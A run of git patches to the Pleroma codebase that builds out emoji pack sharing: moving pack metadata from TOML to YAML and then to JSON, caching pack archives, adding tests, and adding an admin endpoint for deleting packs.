|> Enum.filter(fn file ->
dir_path = Path.join(@emoji_dir_path, file)
- # Filter to only use the pack.toml packs
- File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.toml"))
+ # Filter to only use the pack.yml packs
+ File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.yml"))
end)
|> Enum.map(fn pack_name ->
pack_path = Path.join(@emoji_dir_path, pack_name)
- pack_file = Path.join(pack_path, "pack.toml")
+ pack_file = Path.join(pack_path, "pack.yml")
- {pack_name, Toml.decode_file!(pack_file)}
+ {pack_name, RelaxYaml.Decoder.read_from_file(pack_file)}
end)
# Transform into a map of pack-name => pack-data
# Check if all the files are in place and can be sent
@@ -62,7 +62,7 @@ defp can_download?(pack, pack_path) do
defp make_archive(name, pack, pack_dir) do
files =
- ['pack.toml'] ++
+ ['pack.yml'] ++
(pack["files"] |> Enum.map(fn {_, path} -> to_charlist(path) end))
{:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)])
@@ -72,10 +72,10 @@ defp make_archive(name, pack, pack_dir) do
def download_shared(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
- pack_toml = Path.join(pack_dir, "pack.toml")
+ pack_yaml = Path.join(pack_dir, "pack.yml")
- if File.exists?(pack_toml) do
- pack = Toml.decode_file!(pack_toml)
+ if File.exists?(pack_yaml) do
+ pack = RelaxYaml.Decoder.read_from_file(pack_yaml)
if can_download?(pack, pack_dir) do
zip_result = make_archive(name, pack, pack_dir)
@@ -139,25 +139,21 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
File.mkdir_p!(pack_dir)
files =
- ['pack.toml'] ++
+ ['pack.yml'] ++
(pfiles |> Enum.map(fn {_, path} -> to_charlist(path) end))
{:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
- # Fallback URL might not contain a pack.toml file, if that happens - fail (for now)
- # FIXME: there seems to be a lack of any kind of encoders besides JSON.
- erres =
- if pinfo[:fallback] do
- toml_path = Path.join(pack_dir, "pack.toml")
+ # Fallback URL might not contain a pack.yml file. Put on we have if there's none
+ if pinfo[:fallback] do
+ yaml_path = Path.join(pack_dir, "pack.yml")
- unless File.exists?(toml_path) do
- conn
- |> put_status(:internal_server_error)
- |> text("No pack.toml in falblack source")
- end
+ unless File.exists?(yaml_path) do
+ File.write!(yaml_path, RelaxYaml.Encoder.encode(full_pack, []))
end
+ end
- if not is_nil(erres), do: erres, else: conn |> text("ok")
+ conn |> text("ok")
else
conn
|> put_status(:internal_server_error)
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 514446fb3..1c781d750 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -225,7 +225,6 @@ defmodule Pleroma.Web.Router do
# Pack info / downloading
get("/list", EmojiAPIController, :list_packs)
get("/download_shared/:name", EmojiAPIController, :download_shared)
- get("/sha_of_shared/:name", EmojiAPIController, :sha_of_shared)
end
end
diff --git a/mix.exs b/mix.exs
index 172f3a940..e8356d564 100644
--- a/mix.exs
+++ b/mix.exs
@@ -157,7 +157,7 @@ defp deps do
{:ex_rated, "~> 1.3"},
{:ex_const, "~> 0.2"},
{:plug_static_index_html, "~> 1.0.0"},
- {:toml, "~> 0.5"},
+ {:relax_yaml, "~> 0.1"},
{:excoveralls, "~> 0.11.1", only: :test},
{:mox, "~> 0.5", only: :test}
] ++ oauth_deps()
diff --git a/mix.lock b/mix.lock
index 39b9fa930..8852b5f65 100644
--- a/mix.lock
+++ b/mix.lock
@@ -84,6 +84,7 @@
"quantum": {:hex, :quantum, "2.3.4", "72a0e8855e2adc101459eac8454787cb74ab4169de6ca50f670e72142d4960e9", [:mix], [{:calendar, "~> 0.17", [hex: :calendar, repo: "hexpm", optional: true]}, {:crontab, "~> 1.1", [hex: :crontab, repo: "hexpm", optional: false]}, {:gen_stage, "~> 0.12", [hex: :gen_stage, repo: "hexpm", optional: false]}, {:swarm, "~> 3.3", [hex: :swarm, repo: "hexpm", optional: false]}, {:timex, "~> 3.1", [hex: :timex, repo: "hexpm", optional: true]}], "hexpm"},
"ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"},
"recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]},
+ "relax_yaml": {:hex, :relax_yaml, "0.1.4", "99e55ae80b3bd1135f4288e1ba77b816ad7de05bcb4618a1a9f983ce7c89ff32", [:mix], [{:yamerl, "~> 0.4.0", [hex: :yamerl, repo: "hexpm", optional: false]}], "hexpm"},
"ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"},
"swarm": {:hex, :swarm, "3.4.0", "64f8b30055d74640d2186c66354b33b999438692a91be275bb89cdc7e401f448", [:mix], [{:gen_state_machine, "~> 2.0", [hex: :gen_state_machine, repo: "hexpm", optional: false]}, {:libring, "~> 1.0", [hex: :libring, repo: "hexpm", optional: false]}], "hexpm"},
"sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm"},
@@ -92,7 +93,6 @@
"telemetry": {:hex, :telemetry, "0.4.0", "8339bee3fa8b91cb84d14c2935f8ecf399ccd87301ad6da6b71c09553834b2ab", [:rebar3], [], "hexpm"},
"tesla": {:hex, :tesla, "1.3.0", "f35d72f029e608f9cdc6f6d6fcc7c66cf6d6512a70cfef9206b21b8bd0203a30", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:gun, "~> 1.3", [hex: :gun, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 0.4", [hex: :mint, repo: "hexpm", optional: true]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.3", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm"},
"timex": {:hex, :timex, "3.6.1", "efdf56d0e67a6b956cc57774353b0329c8ab7726766a11547e529357ffdc1d56", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm"},
- "toml": {:hex, :toml, "0.5.2", "e471388a8726d1ce51a6b32f864b8228a1eb8edc907a0edf2bb50eab9321b526", [:mix], [], "hexpm"},
"trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"tzdata": {:hex, :tzdata, "0.5.21", "8cbf3607fcce69636c672d5be2bbb08687fe26639a62bdcc283d267277db7cf0", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
"ueberauth": {:hex, :ueberauth, "0.6.1", "9e90d3337dddf38b1ca2753aca9b1e53d8a52b890191cdc55240247c89230412", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
@@ -100,4 +100,5 @@
"unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm"},
"web_push_encryption": {:hex, :web_push_encryption, "0.2.1", "d42cecf73420d9dc0053ba3299cc8c8d6ff2be2487d67ca2a57265868e4d9a98", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}, {:poison, "~> 3.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
"websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []},
+ "yamerl": {:hex, :yamerl, "0.4.0", "ae215b1242810a9bc07716b88062f1bfe06f6bc7cf68372091f630baa536df79", [:rebar3], [], "hexpm"},
}
From 7fb7dd9e0e0135af467477a66692990bdaecdbe9 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Sun, 11 Aug 2019 23:24:23 +0300
Subject: [PATCH 059/148] Only find SHA256 for packs that are shared
---
.../web/emoji_api/emoji_api_controller.ex | 18 ++++++++++++------
1 file changed, 12 insertions(+), 6 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 7ef9b543d..915059783 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -36,13 +36,19 @@ def list_packs(conn, _params) do
|> Enum.map(fn {name, pack} ->
pack_path = Path.join(@emoji_dir_path, name)
- archive_for_sha = make_archive(name, pack, pack_path)
- archive_sha = :crypto.hash(:sha256, archive_for_sha) |> Base.encode16()
+ if can_download?(pack, pack_path) do
+ archive_for_sha = make_archive(name, pack, pack_path)
+ archive_sha = :crypto.hash(:sha256, archive_for_sha) |> Base.encode16()
- {name,
- pack
- |> put_in(["pack", "can-download"], can_download?(pack, pack_path))
- |> put_in(["pack", "download-sha256"], archive_sha)}
+ {name,
+ pack
+ |> put_in(["pack", "can-download"], true)
+ |> put_in(["pack", "download-sha256"], archive_sha)}
+ else
+ {name,
+ pack
+ |> put_in(["pack", "can-download"], false)}
+ end
end)
|> Enum.into(%{})
end
From 7e4c8b56eab0e92b98efbf27e373d68758de540f Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 12 Aug 2019 10:35:34 +0300
Subject: [PATCH 060/148] Add tests for emoji pack sharing
---
config/test.exs | 3 +-
.../instance_static/emoji/test_pack/blank.png | Bin 0 -> 95 bytes
test/instance_static/emoji/test_pack/pack.yml | 13 +++
.../emoji/test_pack_nonshared/pack.yml | 13 +++
test/web/emoji_api_controller_test.exs | 98 ++++++++++++++++++
5 files changed, 126 insertions(+), 1 deletion(-)
create mode 100644 test/instance_static/emoji/test_pack/blank.png
create mode 100644 test/instance_static/emoji/test_pack/pack.yml
create mode 100644 test/instance_static/emoji/test_pack_nonshared/pack.yml
create mode 100644 test/web/emoji_api_controller_test.exs
diff --git a/config/test.exs b/config/test.exs
index df512b5d7..da2778aa7 100644
--- a/config/test.exs
+++ b/config/test.exs
@@ -30,7 +30,8 @@
notify_email: "noreply@example.com",
skip_thread_containment: false,
federating: false,
- external_user_synchronization: false
+ external_user_synchronization: false,
+ static_dir: "test/instance_static/"
config :pleroma, :activitypub, sign_object_fetches: false
diff --git a/test/instance_static/emoji/test_pack/blank.png b/test/instance_static/emoji/test_pack/blank.png
new file mode 100644
index 0000000000000000000000000000000000000000..8f50fa02340e7e09e562f86e00b6e4bd6ad1d565
GIT binary patch
literal 95
zcmeAS@N?(olHy`uVBq!ia0vp^4Is=2Bp6=1#-sr$rjj7PU get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ assert Map.has_key?(resp, "test_pack")
+
+ pack = resp["test_pack"]
+
+ assert Map.has_key?(pack["pack"], "download-sha256")
+ assert pack["pack"]["can-download"]
+
+ assert pack["files"] == %{"blank" => "blank.png"}
+
+ # Non-shared pack
+
+ assert Map.has_key?(resp, "test_pack_nonshared")
+
+ pack = resp["test_pack_nonshared"]
+
+ refute pack["pack"]["shared"]
+ refute pack["pack"]["can-download"]
+ end
+
+ test "downloading a shared pack from download_shared" do
+ conn = build_conn()
+
+ resp =
+ conn
+ |> get(emoji_api_path(conn, :download_shared, "test_pack"))
+ |> response(200)
+
+ {:ok, arch} = :zip.unzip(resp, [:memory])
+
+ assert Enum.find(arch, fn {n, _} -> n == 'pack.yml' end)
+ assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
+ end
+
+ test "downloading a shared pack from another instance via download_from" do
+ on_exit(fn ->
+ File.rm_rf!("test/instance_static/emoji/test_pack2")
+ end)
+
+ mock(fn
+ %{
+ method: :get,
+ url: "https://example.com/api/pleroma/emoji/packs/list"
+ } ->
+ conn = build_conn()
+
+ conn
+ |> get(emoji_api_path(conn, :list_packs))
+ |> json_response(200)
+ |> json()
+
+ %{
+ method: :get,
+ url: "https://example.com/api/pleroma/emoji/packs/download_shared/test_pack"
+ } ->
+ conn = build_conn()
+
+ conn
+ |> get(emoji_api_path(conn, :download_shared, "test_pack"))
+ |> response(200)
+ |> text()
+ end)
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ conn = build_conn()
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> assign(:user, admin)
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://example.com",
+ pack_name: "test_pack",
+ as: "test_pack2"
+ }
+ |> Jason.encode!()
+ )
+ |> text_response(200) == "ok"
+
+ assert File.exists?("test/instance_static/emoji/test_pack2/pack.yml")
+ assert File.exists?("test/instance_static/emoji/test_pack2/blank.png")
+ end
+end
From ee620ecbf11398277551ef603355a56a53690461 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 12 Aug 2019 13:13:01 +0300
Subject: [PATCH 061/148] Add caching for emoji pack sharing
---
config/config.exs | 3 +-
docs/config.md | 2 +
lib/pleroma/application.ex | 6 ++-
.../web/emoji_api/emoji_api_controller.ex | 42 ++++++++++++++++++-
4 files changed, 50 insertions(+), 3 deletions(-)
diff --git a/config/config.exs b/config/config.exs
index c7e0cf09f..4c758d4a0 100644
--- a/config/config.exs
+++ b/config/config.exs
@@ -122,7 +122,8 @@
# Put groups that have higher priority than defaults here. Example in `docs/config/custom_emoji.md`
Custom: ["/emoji/*.png", "/emoji/**/*.png"]
],
- default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json"
+ default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json",
+ shared_pack_cache_seconds_per_file: 60
config :pleroma, :uri_schemes,
valid_schemes: [
diff --git a/docs/config.md b/docs/config.md
index 3f37fa561..1179def56 100644
--- a/docs/config.md
+++ b/docs/config.md
@@ -707,6 +707,8 @@ Configure OAuth 2 provider capabilities:
* `pack_extensions`: A list of file extensions for emojis, when no emoji.txt for a pack is present. Example `[".png", ".gif"]`
* `groups`: Emojis are ordered in groups (tags). This is an array of key-value pairs where the key is the groupname and the value the location or array of locations. `*` can be used as a wildcard. Example `[Custom: ["/emoji/*.png", "/emoji/custom/*.png"]]`
* `default_manifest`: Location of the JSON-manifest. This manifest contains information about the emoji-packs you can download. Currently only one manifest can be added (no arrays).
+* `shared_pack_cache_seconds_per_file`: When an emoji pack is shared, the archive is created and cached in
+ memory for this amount of seconds multiplied by the number of files.
## Database options
diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex
index dabce771d..a339e2c48 100644
--- a/lib/pleroma/application.ex
+++ b/lib/pleroma/application.ex
@@ -102,10 +102,14 @@ defp cachex_children do
build_cachex("rich_media", default_ttl: :timer.minutes(120), limit: 5000),
build_cachex("scrubber", limit: 2500),
build_cachex("idempotency", expiration: idempotency_expiration(), limit: 2500),
- build_cachex("web_resp", limit: 2500)
+ build_cachex("web_resp", limit: 2500),
+ build_cachex("emoji_packs", expiration: emoji_packs_expiration(), limit: 10)
]
end
+ defp emoji_packs_expiration,
+ do: expiration(default: :timer.seconds(5 * 60), interval: :timer.seconds(60))
+
defp idempotency_expiration,
do: expiration(default: :timer.seconds(6 * 60 * 60), interval: :timer.seconds(60))
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 915059783..8219eaaa1 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -1,6 +1,8 @@
defmodule Pleroma.Web.EmojiAPI.EmojiAPIController do
use Pleroma.Web, :controller
+ require Logger
+
def reload(conn, _params) do
Pleroma.Emoji.reload()
@@ -12,6 +14,8 @@ def reload(conn, _params) do
"emoji"
)
+ @cache_seconds_per_file Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file])
+
def list_packs(conn, _params) do
pack_infos =
case File.ls(@emoji_dir_path) do
@@ -66,13 +70,49 @@ defp can_download?(pack, pack_path) do
end)
end
- defp make_archive(name, pack, pack_dir) do
+ defp create_archive_and_cache(name, pack, pack_dir, md5) do
files =
['pack.yml'] ++
(pack["files"] |> Enum.map(fn {_, path} -> to_charlist(path) end))
{:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)])
+ cache_ms = :timer.seconds(@cache_seconds_per_file * Enum.count(files))
+
+ Cachex.put!(
+ :emoji_packs_cache,
+ name,
+ # if pack.yml MD5 changes, the cache is not valid anymore
+ %{pack_yml_md5: md5, pack_data: zip_result},
+ # Add a minute to cache time for every file in the pack
+ ttl: cache_ms
+ )
+
+ Logger.debug("Create an archive for the '#{name}' shared emoji pack, \
+keeping it in cache for #{div(cache_ms, 1000)}s")
+
+ zip_result
+ end
+
+ defp make_archive(name, pack, pack_dir) do
+ # Having a different pack.yml md5 invalidates cache
+ pack_yml_md5 = :crypto.hash(:md5, File.read!(Path.join(pack_dir, "pack.yml")))
+
+ maybe_cached_pack = Cachex.get!(:emoji_packs_cache, name)
+
+ zip_result =
+ if is_nil(maybe_cached_pack) do
+ create_archive_and_cache(name, pack, pack_dir, pack_yml_md5)
+ else
+ if maybe_cached_pack[:pack_yml_md5] == pack_yml_md5 do
+ Logger.debug("Using cache for the '#{name}' shared emoji pack")
+
+ maybe_cached_pack[:pack_data]
+ else
+ create_archive_and_cache(name, pack, pack_dir, pack_yml_md5)
+ end
+ end
+
zip_result
end
From 7a0c755d0a69157868e245b35b48ed07a7dfd3c7 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 12 Aug 2019 16:43:28 +0300
Subject: [PATCH 062/148] Send ok for emoji reloading as text, not as json
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 8219eaaa1..72daccc8c 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -6,7 +6,7 @@ defmodule Pleroma.Web.EmojiAPI.EmojiAPIController do
def reload(conn, _params) do
Pleroma.Emoji.reload()
- conn |> json("ok")
+ conn |> text("ok")
end
@emoji_dir_path Path.join(
From 3a8669b48771ac4203b6abf2a372c6960d36345a Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 12 Aug 2019 17:35:25 +0300
Subject: [PATCH 063/148] Fix responses for emoji pack controlller
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 72daccc8c..f2b1e8a8d 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -88,7 +88,7 @@ defp create_archive_and_cache(name, pack, pack_dir, md5) do
ttl: cache_ms
)
- Logger.debug("Create an archive for the '#{name}' shared emoji pack, \
+ Logger.debug("Create an archive for the '#{name}' emoji pack, \
keeping it in cache for #{div(cache_ms, 1000)}s")
zip_result
@@ -132,14 +132,14 @@ def download_shared(conn, %{"name" => name}) do
{:error,
conn
|> put_status(:forbidden)
- |> json("Pack #{name} cannot be downloaded from this instance, either pack sharing\
+ |> text("Pack #{name} cannot be downloaded from this instance, either pack sharing\
was disabled for this pack or some files are missing")}
end
else
{:error,
conn
|> put_status(:not_found)
- |> json("Pack #{name} does not exist")}
+ |> text("Pack #{name} does not exist")}
end
end
@@ -169,7 +169,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
}}
true ->
- {:error, "The pack was not set as shared and the is no fallback url to download from"}
+ {:error, "The pack was not set as shared and there is no fallback src to download from"}
end
case pack_info_res do
From 2d4b8f3d20c4dbf60e52e95e77f2e77766974402 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 12 Aug 2019 18:03:59 +0300
Subject: [PATCH 064/148] Add an endpoint for deleting emoji packs
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 12 ++++++++++++
lib/pleroma/web/router.ex | 1 +
test/web/emoji_api_controller_test.exs | 9 ++++++++-
3 files changed, 21 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index f2b1e8a8d..49d970277 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -210,4 +210,16 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
conn |> put_status(:internal_server_error) |> text(e)
end
end
+
+ def delete(conn, %{"name" => name}) do
+ pack_dir = Path.join(@emoji_dir_path, name)
+
+ case File.rm_rf(pack_dir) do
+ {:ok, _} ->
+ conn |> text("ok")
+
+ {:error, _} ->
+ conn |> put_status(:internal_server_error) |> text("Couldn't delete the pack #{name}")
+ end
+ end
end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 1c781d750..4df0ca3c3 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -218,6 +218,7 @@ defmodule Pleroma.Web.Router do
# Modifying packs
pipe_through([:admin_api, :oauth_write])
+ delete("/delete/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
end
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index c037883ee..13a34d38d 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -42,7 +42,7 @@ test "downloading a shared pack from download_shared" do
assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
end
- test "downloading a shared pack from another instance via download_from" do
+ test "downloading a shared pack from another instance via download_from, deleting it" do
on_exit(fn ->
File.rm_rf!("test/instance_static/emoji/test_pack2")
end)
@@ -94,5 +94,12 @@ test "downloading a shared pack from another instance via download_from" do
assert File.exists?("test/instance_static/emoji/test_pack2/pack.yml")
assert File.exists?("test/instance_static/emoji/test_pack2/blank.png")
+
+ assert conn
+ |> assign(:user, admin)
+ |> delete(emoji_api_path(conn, :delete, "test_pack2"))
+ |> response(200) == "ok"
+
+ refute File.exists?("test/instance_static/emoji/test_pack2")
end
end
From b0ecd412f5c499773cdc462c50d6c8104a819550 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Mon, 12 Aug 2019 18:28:05 +0300
Subject: [PATCH 065/148] Clean out old emojis on reload
---
lib/pleroma/emoji.ex | 3 +++
1 file changed, 3 insertions(+)
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index 2a9f5f804..f56b26da2 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -122,6 +122,9 @@ defp load do
fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end
)
+ # Clear out old emojis
+ :ets.delete_all_objects(@ets)
+
true = :ets.insert(@ets, emojis)
end
From 2a94eca096f67a908410ffdd82f5bace8a3df88c Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 15 Aug 2019 11:39:39 +0300
Subject: [PATCH 066/148] Change YAML to JSON
---
lib/pleroma/emoji.ex | 8 ++--
.../web/emoji_api/emoji_api_controller.ex | 40 +++++++++----------
mix.exs | 1 -
mix.lock | 1 -
.../instance_static/emoji/test_pack/pack.json | 16 ++++++++
test/instance_static/emoji/test_pack/pack.yml | 13 ------
.../emoji/test_pack_nonshared/pack.json | 16 ++++++++
.../emoji/test_pack_nonshared/pack.yml | 13 ------
test/web/emoji_api_controller_test.exs | 4 +-
9 files changed, 58 insertions(+), 54 deletions(-)
create mode 100644 test/instance_static/emoji/test_pack/pack.json
delete mode 100644 test/instance_static/emoji/test_pack/pack.yml
create mode 100644 test/instance_static/emoji/test_pack_nonshared/pack.json
delete mode 100644 test/instance_static/emoji/test_pack_nonshared/pack.yml
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index f56b26da2..170a7d098 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -146,12 +146,12 @@ defp load do
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
- pack_yaml = Path.join(pack_dir, "pack.yml")
+ pack_file = Path.join(pack_dir, "pack.json")
- if File.exists?(pack_yaml) do
- yaml = RelaxYaml.Decoder.read_from_file(pack_yaml)
+ if File.exists?(pack_file) do
+ contents = Jason.decode!(File.read!(pack_file))
- yaml["files"]
+ contents["files"]
|> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{name, filename, pack_name}
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 49d970277..aedc70372 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -26,14 +26,14 @@ def list_packs(conn, _params) do
results
|> Enum.filter(fn file ->
dir_path = Path.join(@emoji_dir_path, file)
- # Filter to only use the pack.yml packs
- File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.yml"))
+ # Filter to only use the pack.json packs
+ File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json"))
end)
|> Enum.map(fn pack_name ->
pack_path = Path.join(@emoji_dir_path, pack_name)
- pack_file = Path.join(pack_path, "pack.yml")
+ pack_file = Path.join(pack_path, "pack.json")
- {pack_name, RelaxYaml.Decoder.read_from_file(pack_file)}
+ {pack_name, Jason.decode!(File.read!(pack_file))}
end)
# Transform into a map of pack-name => pack-data
# Check if all the files are in place and can be sent
@@ -72,7 +72,7 @@ defp can_download?(pack, pack_path) do
defp create_archive_and_cache(name, pack, pack_dir, md5) do
files =
- ['pack.yml'] ++
+ ['pack.json'] ++
(pack["files"] |> Enum.map(fn {_, path} -> to_charlist(path) end))
{:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)])
@@ -82,8 +82,8 @@ defp create_archive_and_cache(name, pack, pack_dir, md5) do
Cachex.put!(
:emoji_packs_cache,
name,
- # if pack.yml MD5 changes, the cache is not valid anymore
- %{pack_yml_md5: md5, pack_data: zip_result},
+ # if pack.json MD5 changes, the cache is not valid anymore
+ %{pack_json_md5: md5, pack_data: zip_result},
# Add a minute to cache time for every file in the pack
ttl: cache_ms
)
@@ -95,21 +95,21 @@ defp create_archive_and_cache(name, pack, pack_dir, md5) do
end
defp make_archive(name, pack, pack_dir) do
- # Having a different pack.yml md5 invalidates cache
- pack_yml_md5 = :crypto.hash(:md5, File.read!(Path.join(pack_dir, "pack.yml")))
+ # Having a different pack.json md5 invalidates cache
+ pack_file_md5 = :crypto.hash(:md5, File.read!(Path.join(pack_dir, "pack.json")))
maybe_cached_pack = Cachex.get!(:emoji_packs_cache, name)
zip_result =
if is_nil(maybe_cached_pack) do
- create_archive_and_cache(name, pack, pack_dir, pack_yml_md5)
+ create_archive_and_cache(name, pack, pack_dir, pack_file_md5)
else
- if maybe_cached_pack[:pack_yml_md5] == pack_yml_md5 do
+ if maybe_cached_pack[:pack_file_md5] == pack_file_md5 do
Logger.debug("Using cache for the '#{name}' shared emoji pack")
maybe_cached_pack[:pack_data]
else
- create_archive_and_cache(name, pack, pack_dir, pack_yml_md5)
+ create_archive_and_cache(name, pack, pack_dir, pack_file_md5)
end
end
@@ -118,10 +118,10 @@ defp make_archive(name, pack, pack_dir) do
def download_shared(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
- pack_yaml = Path.join(pack_dir, "pack.yml")
+ pack_file = Path.join(pack_dir, "pack.json")
- if File.exists?(pack_yaml) do
- pack = RelaxYaml.Decoder.read_from_file(pack_yaml)
+ if File.exists?(pack_file) do
+ pack = Jason.decode!(File.read!(pack_file))
if can_download?(pack, pack_dir) do
zip_result = make_archive(name, pack, pack_dir)
@@ -185,17 +185,17 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
File.mkdir_p!(pack_dir)
files =
- ['pack.yml'] ++
+ ['pack.json'] ++
(pfiles |> Enum.map(fn {_, path} -> to_charlist(path) end))
{:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
- # Fallback URL might not contain a pack.yml file. Put on we have if there's none
+ # Fallback URL might not contain a pack.json file. Put on we have if there's none
if pinfo[:fallback] do
